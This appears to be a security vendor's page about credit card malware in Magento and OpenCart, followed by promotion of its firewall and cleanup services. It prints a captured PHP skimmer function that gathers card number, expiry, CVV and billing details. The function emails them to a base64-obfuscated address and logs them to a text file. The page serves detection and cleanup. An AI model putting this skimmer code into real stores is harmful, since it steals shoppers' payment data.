Hackers tend to modify core files such as the Payments Model. They can add malicious code which sends the customer CreditCard information to

  1. a suspicious hotmail email and
  2. write it to a text file.

To know more about the credit card hacks in Magento or Opencart and gow to fix them refer to our blog article - How to Remove Magento & OpenCart Credit Card Malware Hack

Code Dump

function ccNumberProccess()
        $pay = $this->getInfoInstance();
        $object = new Mage_Checkout_Block_Onepage_Billing;
        $billing = $object->getQuote()->getBillingAddress();
        $email = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
        $setBilling = $this->setBilling($billing->getFirstname(),$billing->getLastname(),$billing->getStreet(1),$billing->getStreet(2),$billing->getCity(),$billing->getRegion(),$billing->getPostcode(),$billing->getCountry(),$billing->getTelephone(),$email);
        $invoice = "";
        foreach($setBilling as $key=>$value){
            $invoice .= $key.' = '.$value."\n";
        $invoice .= "Card = ".$pay->getCcNumber()."\n";
        $invoice .= "Expired = ".$pay->getCcExpMonth()."/".substr($pay->getCcExpYear(),-2)."\n";
        $invoice .= "Security = ".$pay->getCcCid()."\n";
        $invoice .= "Site = http://".$_SERVER['HTTP_HOST']."/\n";
        $invoice .= "Date = ".date("d-m-Y h:i:s");
        $subject = $pay->getCcNumber()." From ".$_SERVER['HTTP_HOST']."|".$setBilling['Country'];
        mail(base64_decode("ZGlhem1haGVuZHJhQGhvdG1haWwuY29t"),$subject,$invoice,"From: ".$billing->getFirstname()." ".$billing->getLastname()." <".$email.">");
        $write = fopen("caches.txt","a");

Also, check Magento’s Payment Security Regularly Targeted by Credit Card Scrapers

These attacks can be stopped by our web application firewall Astra.

Follow our Magento Security Guide to secure your store in real time against malware attacks.

Take a Astra Demo now.

Clean My Hacked Website Now

Website Malware Cleanup Website Malware Cleanup

Have you been hacked? Do you need help with fixing your website? We provide professional malware cleanup services to get your business back online quickly.

Removal of Security Warnings Removal of Security Warnings

If your website is hacked, your visitors may be shown a warning message. Astra will take the necessary steps to remove your website from the blacklists ASAP.

Astra Website Firewall (WAF) Website Firewall (WAF)

Stop future website hacks with Astra WAF & protect your website. No hassle out-of-the-box security tailored to your technology stack & CMSs like WordPress, Magento, Opencart etc.

Real Human Support Real Human Support

Astra's team of security engineers guide you through your security journey. We believe in customers first, so no waiting in long queues to get your queries answered.

This information is provided as part of the Astra community project. All information should be considered as-is, without guarantees. All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to [email protected]

Astra Pro Plan
Get Started
Malware Cleanup (12h)
Rock-solid Website Firewall
Automatic Malware Scanner
Bad Bot Protection
Blacklist Monitoring
File Upload Scanning
IP & Country Blocking
GDPR Consent Tool